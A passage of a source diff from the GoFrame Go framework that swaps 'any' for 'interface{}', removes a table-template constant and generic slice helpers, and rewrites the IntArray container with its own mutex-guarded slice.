 // User2 is the golang structure of table user2 for DAO operations like Where/Data.
 type User2 struct {
 	g.Meta   `orm:"table:user2, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/issue/3749/model/do/table_user.go

@@ -12,11 +12,11 @@ import (
 // TableUser is the golang structure of table table_user for DAO operations like Where/Data.
 type TableUser struct {
 	g.Meta    `orm:"table:table_user, do:true"`
-	Id        any         // User ID
-	ParentId  any         //
-	Passport  any         // User Passport
-	PassWord  any         // User Password
-	Nickname2 any         // User Nickname
+	Id        interface{} // User ID
+	ParentId  interface{} //
+	Passport  interface{} // User Passport
+	PassWord  interface{} // User Password
+	Nickname2 interface{} // User Nickname
 	CreateAt  *gtime.Time // Created Time
 	UpdateAt  *gtime.Time // Updated Time
 }

cmd/gf/internal/consts/consts_gen_dao_template_table.go

@@ -1,35 +0,0 @@
-// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package consts
-
-const TemplateGenTableContent = `
-// =================================================================================
-// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
-// =================================================================================
-
-package {{.TplPackageName}}
-
-import (
-	"context"
-
-	"github.com/gogf/gf/v2/database/gdb"
-)
-
-// {{.TplTableNameCamelCase}} defines the fields of table "{{.TplTableName}}" with their properties.
-// This map is used internally by GoFrame ORM to understand table structure.
-var {{.TplTableNameCamelCase}} = map[string]*gdb.TableField{
-{{.TplTableFields}}
-}
-
-// Set{{.TplTableNameCamelCase}}TableFields registers the table fields definition to the database instance.
-// db: database instance that implements gdb.DB interface.
-// schema: optional schema/namespace name, especially for databases that support schemas.
-func Set{{.TplTableNameCamelCase}}TableFields(ctx context.Context, db gdb.DB, schema ...string) error {
-	return db.GetCore().SetTableFields(ctx, "{{.TplTableName}}", {{.TplTableNameCamelCase}}, schema...)
-}
-
-`

cmd/gf/internal/utility/mlog/mlog.go

@@ -51,26 +51,26 @@ func SetHeaderPrint(enabled bool) {
 	}
 }
 
-func Print(v ...any) {
+func Print(v ...interface{}) {
 	logger.Print(ctx, v...)
 }
 
-func Printf(format string, v ...any) {
+func Printf(format string, v ...interface{}) {
 	logger.Printf(ctx, format, v...)
 }
 
-func Fatal(v ...any) {
+func Fatal(v ...interface{}) {
 	logger.Fatal(ctx, v...)
 }
 
-func Fatalf(format string, v ...any) {
+func Fatalf(format string, v ...interface{}) {
 	logger.Fatalf(ctx, format, v...)
 }
 
-func Debug(v ...any) {
+func Debug(v ...interface{}) {
 	logger.Debug(ctx, v...)
 }
 
-func Debugf(format string, v ...any) {
+func Debugf(format string, v ...interface{}) {
 	logger.Debugf(ctx, format, v...)
 }

cmd/gf/internal/utility/utils/utils.go

@@ -12,13 +12,12 @@ import (
 
 	"golang.org/x/tools/imports"
 
+	"github.com/gogf/gf/cmd/gf/v2/internal/consts"
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 	"github.com/gogf/gf/v2/os/gfile"
 	"github.com/gogf/gf/v2/os/gproc"
 	"github.com/gogf/gf/v2/text/gregex"
 	"github.com/gogf/gf/v2/text/gstr"
-
-	"github.com/gogf/gf/cmd/gf/v2/internal/consts"
-	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 )
 
 // GoFmt formats the source file and adds or removes import statements as necessary.

container/garray/garray_func.go

@@ -6,10 +6,7 @@
 
 package garray
 
-import (
-	"sort"
-	"strings"
-)
+import "strings"
 
 // defaultComparatorInt for int comparison.
 func defaultComparatorInt(a, b int) int {
@@ -27,14 +24,6 @@ func defaultComparatorStr(a, b string) int {
 	return strings.Compare(a, b)
 }
 
-// defaultSorter is a generic sorting function that sorts a slice of comparable types
-// using the provided comparator function.
-func defaultSorter[T comparable](values []T, comparator func(a T, b T) int) {
-	sort.Slice(values, func(i, j int) bool {
-		return comparator(values[i], values[j]) < 0
-	})
-}
-
 // quickSortInt is the quick-sorting algorithm implements for int.
 func quickSortInt(values []int, comparator func(a, b int) int) {
 	if len(values) <= 1 {
@@ -78,51 +67,3 @@ func quickSortStr(values []string, comparator func(a, b string) int) {
 	quickSortStr(values[:head], comparator)
 	quickSortStr(values[head+1:], comparator)
 }
-
-// tToAnySlice converts []T to []any
-func tToAnySlice[T any](values []T) []any {
-	if values == nil {
-		return nil
-	}
-	anyValues := make([]any, len(values), cap(values))
-	for k, v := range values {
-		anyValues[k] = v
-	}
-	return anyValues
-}
-
-// anyToTSlice is convert []any to []T
-func anyToTSlice[T any](values []any) []T {
-	if values == nil {
-		return nil
-	}
-	tValues := make([]T, len(values), cap(values))
-	for k, v := range values {
-		tValues[k], _ = v.(T)
-	}
-	return tValues
-}
-
-// tToAnySlices converts [][]T to [][]any
-func tToAnySlices[T any](values [][]T) [][]any {
-	if values == nil {
-		return nil
-	}
-	anyValues := make([][]any, len(values), cap(values))
-	for k, v := range values {
-		anyValues[k] = tToAnySlice(v)
-	}
-	return anyValues
-}
-
-// anyToTSlices converts [][]any to [][]T
-func anyToTSlices[T any](values [][]any) [][]T {
-	if values == nil {
-		return nil
-	}
-	tValues := make([][]T, len(values), cap(values))
-	for k, v := range values {
-		tValues[k] = anyToTSlice[T](v)
-	}
-	return tValues
-}

container/garray/garray_normal_int.go

@@ -7,19 +7,25 @@
 package garray
 
 import (
+	"bytes"
 	"fmt"
+	"math"
 	"sort"
-	"sync"
 
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
 	"github.com/gogf/gf/v2/util/gconv"
+	"github.com/gogf/gf/v2/util/grand"
 )
 
 // IntArray is a golang int array with rich features.
 // It contains a concurrent-safe/unsafe switch, which should be set
 // when its initialization and cannot be changed then.
 type IntArray struct {
-	*TArray[int]
-	once sync.Once
+	mu    rwmutex.RWMutex
+	array []int
 }
 
 // NewIntArray creates and returns an empty array.
@@ -34,7 +40,8 @@ func NewIntArray(safe ...bool) *IntArray {
 // which is false in default.
 func NewIntArraySize(size int, cap int, safe ...bool) *IntArray {
 	return &IntArray{
-		TArray: NewTArraySize[int](size, cap, safe...),
+		mu:    rwmutex.Create(safe...),
+		array: make([]int, size, cap),
 	}
 }
 
@@ -58,7 +65,8 @@ func NewIntArrayRange(start, end, step int, safe ...bool) *IntArray {
 // which is false in default.
 func NewIntArrayFrom(array []int, safe ...bool) *IntArray {
 	return &IntArray{
-		TArray: NewTArrayFrom(array, safe...),
+		mu:    rwmutex.Create(safe...),
+		array: array,
 	}
 }
 
@@ -68,66 +76,78 @@ func NewIntArrayFrom(array []int, safe ...bool) *IntArray {
 func NewIntArrayFromCopy(array []int, safe ...bool) *IntArray {
 	newArray := make([]int, len(array))
 	copy(newArray, array)
-	return NewIntArrayFrom(newArray, safe...)
-}
-
-// lazyInit lazily initializes the array.
-func (a *IntArray) lazyInit() {
-	a.once.Do(func() {
-		if a.TArray == nil {
-			a.TArray = NewTArray[int](false)
-		}
-	})
+	return &IntArray{
+		mu:    rwmutex.Create(safe...),
+		array: newArray,
+	}
 }
 
 // At returns the value by the specified index.
 // If the given `index` is out of range of the array, it returns `0`.
 func (a *IntArray) At(index int) (value int) {
-	a.lazyInit()
-	return a.TArray.At(index)
+	value, _ = a.Get(index)
+	return
 }
 
 // Get returns the value by the specified index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *IntArray) Get(index int) (value int, found bool) {
-	a.lazyInit()
-	return a.TArray.Get(index)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if index < 0 || index >= len(a.array) {
+		return 0, false
+	}
+	return a.array[index], true
 }
 
 // Set sets value to specified index.
 func (a *IntArray) Set(index int, value int) error {
-	a.lazyInit()
-	return a.TArray.Set(index, value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if index < 0 || index >= len(a.array) {
+		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
+	}
+	a.array[index] = value
+	return nil
 }
 
 // SetArray sets the underlying slice array with the given `array`.
 func (a *IntArray) SetArray(array []int) *IntArray {
-	a.lazyInit()
-	a.TArray.SetArray(array)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.array = array
 	return a
 }
 
 // Replace replaces the array items by given `array` from the beginning of array.
 func (a *IntArray) Replace(array []int) *IntArray {
-	a.lazyInit()
-	a.TArray.Replace(array)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	max := len(array)
+	if max > len(a.array) {
+		max = len(a.array)
+	}
+	for i := 0; i < max; i++ {
+		a.array[i] = array[i]
+	}
 	return a
 }
 
 // Sum returns the sum of values in an array.
 func (a *IntArray) Sum() (sum int) {
-	a.lazyInit()
-	return a.TArray.Sum()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		sum += v
+	}
+	return
 }
 
 // Sort sorts the array in increasing order.
 // The parameter `reverse` controls whether sort in increasing order(default) or decreasing order.
 func (a *IntArray) Sort(reverse ...bool) *IntArray {
-	a.lazyInit()
-
 	a.mu.Lock()
 	defer a.mu.Unlock()
-
 	if len(reverse) > 0 && reverse[0] {
 		sort.Slice(a.array, func(i, j int) bool {
 			return a.array[i] >= a.array[j]
@@ -140,101 +160,210 @@ func (a *IntArray) Sort(reverse ...bool) *IntArray {
 
 // SortFunc sorts the array by custom function `less`.
 func (a *IntArray) SortFunc(less func(v1, v2 int) bool) *IntArray {
-	a.lazyInit()
-	a.TArray.SortFunc(less)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	sort.Slice(a.array, func(i, j int) bool {
+		return less(a.array[i], a.array[j])
+	})
 	return a
 }
 
 // InsertBefore inserts the `values` to the front of `index`.
 func (a *IntArray) InsertBefore(index int, values ...int) error {
-	a.lazyInit()
-	return a.TArray.InsertBefore(index, values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if index < 0 || index >= len(a.array) {
+		return gerror.NewCodef(
+			gcode.CodeInvalidParameter,
+			"index %d out of array range %d",
+			index, len(a.array),
+		)
+	}
+	rear := append([]int{}, a.array[index:]...)
+	a.array = append(a.array[0:index], values...)
+	a.array = append(a.array, rear...)
+	return nil
 }
 
 // InsertAfter inserts the `value` to the back of `index`.
 func (a *IntArray) InsertAfter(index int, values ...int) error {
-	a.lazyInit()
-	return a.TArray.InsertAfter(index, values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if index < 0 || index >= len(a.array) {
+		return gerror.NewCodef(
+			gcode.CodeInvalidParameter,
+			"index %d out of array range %d",
+			index, len(a.array),
+		)
+	}
+	rear := append([]int{}, a.array[index+1:]...)
+	a.array = append(a.array[0:index+1], values...)
+	a.array = append(a.array, rear...)
+	return nil
 }
 
 // Remove removes an item by index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *IntArray) Remove(index int) (value int, found bool) {
-	a.lazyInit()
-	return a.TArray.Remove(index)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(index)
+}
+
+// doRemoveWithoutLock removes an item by index without lock.
+func (a *IntArray) doRemoveWithoutLock(index int) (value int, found bool) {
+	if index < 0 || index >= len(a.array) {
+		return 0, false
+	}
+	// Determine array boundaries when deleting to improve deletion efficiency.
+	if index == 0 {
+		value := a.array[0]
+		a.array = a.array[1:]
+		return value, true
+	} else if index == len(a.array)-1 {
+		value := a.array[index]
+		a.array = a.array[:index]
+		return value, true
+	}
+	// If it is a non-boundary delete,
+	// it will involve the creation of an array,
+	// then the deletion is less efficient.
+	value = a.array[index]
+	a.array = append(a.array[:index], a.array[index+1:]...)
+	return value, true
 }
 
 // RemoveValue removes an item by value.
 // It returns true if value is found in the array, or else false if not found.
 func (a *IntArray) RemoveValue(value int) bool {
-	a.lazyInit()
-	return a.TArray.RemoveValue(value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if i := a.doSearchWithoutLock(value); i != -1 {
+		a.doRemoveWithoutLock(i)
+		return true
+	}
+	return false
 }
 
 // RemoveValues removes multiple items by `values`.
 func (a *IntArray) RemoveValues(values ...int) {
-	a.lazyInit()
-	a.TArray.RemoveValues(values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		if i := a.doSearchWithoutLock(value); i != -1 {
+			a.doRemoveWithoutLock(i)
+		}
+	}
 }
 
 // PushLeft pushes one or multiple items to the beginning of array.
 func (a *IntArray) PushLeft(value ...int) *IntArray {
-	a.lazyInit()
-	a.TArray.PushLeft(value...)
+	a.mu.Lock()
+	a.array = append(value, a.array...)
+	a.mu.Unlock()
 	return a
 }
 
 // PushRight pushes one or multiple items to the end of array.
 // It equals to Append.
 func (a *IntArray) PushRight(value ...int) *IntArray {
-	a.lazyInit()
-	a.TArray.PushRight(value...)
+	a.mu.Lock()
+	a.array = append(a.array, value...)
+	a.mu.Unlock()
 	return a
 }
 
 // PopLeft pops and returns an item from the beginning of array.
 // Note that if the array is empty, the `found` is false.
 func (a *IntArray) PopLeft() (value int, found bool) {
-	a.lazyInit()
-	return a.TArray.PopLeft()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return 0, false
+	}
+	value = a.array[0]
+	a.array = a.array[1:]
+	return value, true
 }
 
 // PopRight pops and returns an item from the end of array.
 // Note that if the array is empty, the `found` is false.
 func (a *IntArray) PopRight() (value int, found bool) {
-	a.lazyInit()
-	return a.TArray.PopRight()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	index := len(a.array) - 1
+	if index < 0 {
+		return 0, false
+	}
+	value = a.array[index]
+	a.array = a.array[:index]
+	return value, true
 }
 
 // PopRand randomly pops and return an item out of array.
 // Note that if the array is empty, the `found` is false.
 func (a *IntArray) PopRand() (value int, found bool) {
-	a.lazyInit()
-	return a.TArray.PopRand()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
 }
 
 // PopRands randomly pops and returns `size` items out of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *IntArray) PopRands(size int) []int {
-	a.lazyInit()
-	return a.TArray.PopRands(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		size = len(a.array)
+	}
+	array := make([]int, size)
+	for i := 0; i < size; i++ {
+		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
+	}
+	return array
 }
 
 // PopLefts pops and returns `size` items from the beginning of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *IntArray) PopLefts(size int) []int {
-	a.lazyInit()
-	return a.TArray.PopLefts(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[0:size]
+	a.array = a.array[size:]
+	return value
 }
 
 // PopRights pops and returns `size` items from the end of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *IntArray) PopRights(size int) []int {
-	a.lazyInit()
-	return a.TArray.PopRights(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	index := len(a.array) - size
+	if index <= 0 {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[index:]
+	a.array = a.array[:index]
+	return value
 }
 
 // Range picks and returns items by range, like array[start:end].
@@ -245,8 +374,26 @@ func (a *IntArray) PopRights(size int) []int {
 // If `end` is omitted, then the sequence will have everything from start up
 // until the end of the array.
 func (a *IntArray) Range(start int, end ...int) []int {
-	a.lazyInit()
-	return a.TArray.Range(start, end...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	offsetEnd := len(a.array)
+	if len(end) > 0 && end[0] < offsetEnd {
+		offsetEnd = end[0]
+	}
+	if start > offsetEnd {
+		return nil
+	}
+	if start < 0 {
+		start = 0
+	}
+	array := ([]int)(nil)
+	if a.mu.IsSafe() {
+		array = make([]int, offsetEnd-start)
+		copy(array, a.array[start:offsetEnd])
+	} else {
+		array = a.array[start:offsetEnd]
+	}
+	return array
 }
 
 // SubSlice returns a slice of elements from the array as specified
@@ -263,84 +410,170 @@ func (a *IntArray) Range(start int, end ...int) []int {
 //
 // Any possibility crossing the left border of array, it will fail.
 func (a *IntArray) SubSlice(offset int, length ...int) []int {
-	a.lazyInit()
-	return a.TArray.SubSlice(offset, length...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	size := len(a.array)
+	if len(length) > 0 {
+		size = length[0]
+	}
+	if offset > len(a.array) {
+		return nil
+	}
+	if offset < 0 {
+		offset = len(a.array) + offset
+		if offset < 0 {
+			return nil
+		}
+	}
+	if size < 0 {
+		offset += size
+		size = -size
+		if offset < 0 {
+			return nil
+		}
+	}
+	end := offset + size
+	if end > len(a.array) {
+		end = len(a.array)
+		size = len(a.array) - offset
+	}
+	if a.mu.IsSafe() {
+		s := make([]int, size)
+		copy(s, a.array[offset:])
+		return s
+	} else {
+		return a.array[offset:end]
+	}
 }
 
 // Append is alias of PushRight,please See PushRight.
 func (a *IntArray) Append(value ...int) *IntArray {
-	a.lazyInit()
-	a.TArray.Append(value...)
+	a.mu.Lock()
+	a.array = append(a.array, value...)
+	a.mu.Unlock()
 	return a
 }
 
 // Len returns the length of array.
 func (a *IntArray) Len() int {
-	a.lazyInit()
-	return a.TArray.Len()
+	a.mu.RLock()
+	length := len(a.array)
+	a.mu.RUnlock()
+	return length
 }
 
 // Slice returns the underlying data of array.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
 func (a *IntArray) Slice() []int {
-	a.lazyInit()
-	return a.TArray.Slice()
+	array := ([]int)(nil)
+	if a.mu.IsSafe() {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+		array = make([]int, len(a.array))
+		copy(array, a.array)
+	} else {
+		array = a.array
+	}
+	return array
 }
 
-// Interfaces returns current array as []any.
-func (a *IntArray) Interfaces() []any {
-	a.lazyInit()
-	return a.TArray.Interfaces()
+// Interfaces returns current array as []interface{}.
+func (a *IntArray) Interfaces() []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	array := make([]interface{}, len(a.array))
+	for k, v := range a.array {
+		array[k] = v
+	}
+	return array
 }
 
 // Clone returns a new array, which is a copy of current array.
 func (a *IntArray) Clone() (newArray *IntArray) {
-	a.lazyInit()
-	return &IntArray{
-		TArray: a.TArray.Clone(),
-	}
+	a.mu.RLock()
+	array := make([]int, len(a.array))
+	copy(array, a.array)
+	a.mu.RUnlock()
+	return NewIntArrayFrom(array, a.mu.IsSafe())
 }
 
 // Clear deletes all items of current array.
 func (a *IntArray) Clear() *IntArray {
-	a.lazyInit()
-	a.TArray.Clear()
+	a.mu.Lock()
+	if len(a.array) > 0 {
+		a.array = make([]int, 0)
+	}
+	a.mu.Unlock()
 	return a
 }
 
 // Contains checks whether a value exists in the array.
 func (a *IntArray) Contains(value int) bool {
-	a.lazyInit()
-	return a.TArray.Contains(value)
+	return a.Search(value) != -1
 }
 
 // Search searches array by `value`, returns the index of `value`,
 // or returns -1 if not exists.
 func (a *IntArray) Search(value int) int {
-	a.lazyInit()
-	return a.TArray.Search(value)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return a.doSearchWithoutLock(value)
+}
+
+func (a *IntArray) doSearchWithoutLock(value int) int {
+	if len(a.array) == 0 {
+		return -1
+	}
+	result := -1
+	for index, v := range a.array {
+		if v == value {
+			result = index
+			break
+		}
+	}
+	return result
 }
 
 // Unique uniques the array, clear repeated items.
 // Example: [1,1,2,3,2] -> [1,2,3]
 func (a *IntArray) Unique() *IntArray {
-	a.lazyInit()
-	a.TArray.Unique()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return a
+	}
+	var (
+		ok          bool
+		temp        int
+		uniqueSet   = make(map[int]struct{})
+		uniqueArray = make([]int, 0, len(a.array))
+	)
+	for i := 0; i < len(a.array); i++ {
+		temp = a.array[i]
+		if _, ok = uniqueSet[temp]; ok {
+			continue
+		}
+		uniqueSet[temp] = struct{}{}
+		uniqueArray = append(uniqueArray, temp)
+	}
+	a.array = uniqueArray
 	return a
 }
 
 // LockFunc locks writing by callback function `f`.
 func (a *IntArray) LockFunc(f func(array []int)) *IntArray {
-	a.lazyInit()
-	a.TArray.LockFunc(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	f(a.array)
 	return a
 }
 
 // RLockFunc locks reading by callback function `f`.
 func (a *IntArray) RLockFunc(f func(array []int)) *IntArray {
-	a.lazyInit()
-	a.TArray.RLockFunc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	f(a.array)
 	return a
 }
 
@@ -348,23 +581,53 @@ func (a *IntArray) RLockFunc(f func(array []int)) *IntArray {
 // The parameter `array` can be any garray or slice type.
 // The difference between Merge and Append is Append supports only specified slice type,
 // but Merge supports more parameter types.
-func (a *IntArray) Merge(array any) *IntArray {
+func (a *IntArray) Merge(array interface{}) *IntArray {
 	return a.Append(gconv.Ints(array)...)
 }
 
 // Fill fills an array with num entries of the value `value`,
 // keys starting at the `startIndex` parameter.
 func (a *IntArray) Fill(startIndex int, num int, value int) error {
-	a.lazyInit()
-	return a.TArray.Fill(startIndex, num, value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if startIndex < 0 || startIndex > len(a.array) {
+		return gerror.NewCodef(
+			gcode.CodeInvalidParameter,
+			"index %d out of array range %d",
+			startIndex, len(a.array),
+		)
+	}
+	for i := startIndex; i < startIndex+num; i++ {
+		if i > len(a.array)-1 {
+			a.array = append(a.array, value)
+		} else {
+			a.array[i] = value
+		}
+	}
+	return nil
 }
 
 // Chunk splits an array into multiple arrays,
 // the size of each array is determined by `size`.
 // The last chunk may contain less than size elements.
 func (a *IntArray) Chunk(size int) [][]int {
-	a.lazyInit()
-	return a.TArray.Chunk(size)
+	if size < 1 {
+		return nil
+	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	length := len(a.array)
+	chunks := int(math.Ceil(float64(length) / float64(size)))
+	var n [][]int
+	for i, end := 0, 0; chunks > 0; chunks-- {
+		end = (i + 1) * size
+		if end > length {
+			end = length
+		}
+		n = append(n, a.array[i*size:end])
+		i++
+	}
+	return n
 }
 
 // Pad pads array to the specified length with `value`.
@@ -372,47 +635,98 @@ func (a *IntArray) Chunk(size int) [][]int {
 // If the absolute value of `size` is less than or equal to the length of the array
 // then no padding takes place.
 func (a *IntArray) Pad(size int, value int) *IntArray {
-	a.lazyInit()
-	a.TArray.Pad(size, value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size == 0 || (size > 0 && size < len(a.array)) || (size < 0 && size > -len(a.array)) {
+		return a
+	}
+	n := size
+	if size < 0 {
+		n = -size
+	}
+	n -= len(a.array)
+	tmp := make([]int, n)
+	for i := 0; i < n; i++ {
+		tmp[i] = value
+	}
+	if size > 0 {
+		a.array = append(a.array, tmp...)
+	} else {
+		a.array = append(tmp, a.array...)
+	}
 	return a
 }
 
 // Rand randomly returns one item from array(no deleting).
 func (a *IntArray) Rand() (value int, found bool) {
-	a.lazyInit()
-	return a.TArray.Rand()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return 0, false
+	}
+	return a.array[grand.Intn(len(a.array))], true
 }
 
 // Rands randomly returns `size` items from array(no deleting).
 func (a *IntArray) Rands(size int) []int {
-	a.lazyInit()
-	return a.TArray.Rands(size)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	array := make([]int, size)
+	for i := 0; i < size; i++ {
+		array[i] = a.array[grand.Intn(len(a.array))]
+	}
+	return array
 }
 
 // Shuffle randomly shuffles the array.
 func (a *IntArray) Shuffle() *IntArray {
-	a.lazyInit()
-	a.TArray.Shuffle()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i, v := range grand.Perm(len(a.array)) {
+		a.array[i], a.array[v] = a.array[v], a.array[i]
+	}
 	return a
 }
 
 // Reverse makes array with elements in reverse order.
 func (a *IntArray) Reverse() *IntArray {
-	a.lazyInit()
-	a.TArray.Reverse()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i, j := 0, len(a.array)-1; i < j; i, j = i+1, j-1 {
+		a.array[i], a.array[j] = a.array[j], a.array[i]
+	}
 	return a
 }
 
 // Join joins array elements with a string `glue`.
 func (a *IntArray) Join(glue string) string {
-	a.lazyInit()
-	return a.TArray.Join(glue)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return ""
+	}
+	buffer := bytes.NewBuffer(nil)
+	for k, v := range a.array {
+		buffer.WriteString(gconv.String(v))
+		if k != len(a.array)-1 {
+			buffer.WriteString(glue)
+		}
+	}
+	return buffer.String()
 }
 
 // CountValues counts the number of occurrences of all values in the array.
 func (a *IntArray) CountValues() map[int]int {
-	a.lazyInit()
-	return a.TArray.CountValues()
+	m := make(map[int]int)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		m[v]++
+	}
+	return m
 }
 
 // Iterator is alias of IteratorAsc.
@@ -423,15 +737,25 @@ func (a *IntArray) Iterator(f func(k int, v int) bool) {
 // IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *IntArray) IteratorAsc(f func(k int, v int) bool) {
-	a.lazyInit()
-	a.TArray.IteratorAsc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for k, v := range a.array {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // IteratorDesc iterates the array readonly in descending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *IntArray) IteratorDesc(f func(k int, v int) bool) {
-	a.lazyInit()
-	a.TArray.IteratorDesc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for i := len(a.array) - 1; i >= 0; i-- {
+		if !f(i, a.array[i]) {
+			break
+		}
+	}
 }
 
 // String returns current array as a string, which implements like json.Marshal does.
@@ -445,58 +769,90 @@ func (a *IntArray) String() string {
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 // Note that do not use pointer as its receiver here.
 func (a IntArray) MarshalJSON() ([]byte, error) {
-	a.lazyInit()
-	return a.TArray.MarshalJSON()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return json.Marshal(a.array)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (a *IntArray) UnmarshalJSON(b []byte) error {
-	a.lazyInit()
-	return a.TArray.UnmarshalJSON(b)
+	if a.array == nil {
+		a.array = make([]int, 0)
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
+		return err
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for array.
-func (a *IntArray) UnmarshalValue(value any) error {
-	a.lazyInit()
-	return a.TArray.UnmarshalValue(value)
+func (a *IntArray) UnmarshalValue(value interface{}) error {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	switch value.(type) {
+	case string, []byte:
+		return json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
+	default:
+		a.array = gconv.SliceInt(value)
+	}
+	return nil
 }
 
 // Filter iterates array and filters elements using custom callback function.
 // It removes the element from array if callback function `filter` returns true,
 // it or else does nothing and continues iterating.
 func (a *IntArray) Filter(filter func(index int, value int) bool) *IntArray {
-	a.lazyInit()
-	a.TArray.Filter(filter)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if filter(i, a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // FilterEmpty removes all zero value of the array.
 func (a *IntArray) FilterEmpty() *IntArray {
-	a.lazyInit()
-	a.TArray.FilterEmpty()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if a.array[i] == 0 {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // Walk applies a user supplied function `f` to every item of array.
 func (a *IntArray) Walk(f func(value int) int) *IntArray {
-	a.lazyInit()
-	a.TArray.Walk(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i, v := range a.array {
+		a.array[i] = f(v)
+	}
 	return a
 }
 
 // IsEmpty checks whether the array is empty.
 func (a *IntArray) IsEmpty() bool {
-	a.lazyInit()
-	return a.TArray.IsEmpty()
+	return a.Len() == 0
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (a *IntArray) DeepCopy() any {
+func (a *IntArray) DeepCopy() interface{} {
 	if a == nil {
 		return nil
 	}
-	a.lazyInit()
-	return &IntArray{
-		TArray: a.TArray.DeepCopy().(*TArray[int]),
-	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	newSlice := make([]int, len(a.array))
+	copy(newSlice, a.array)
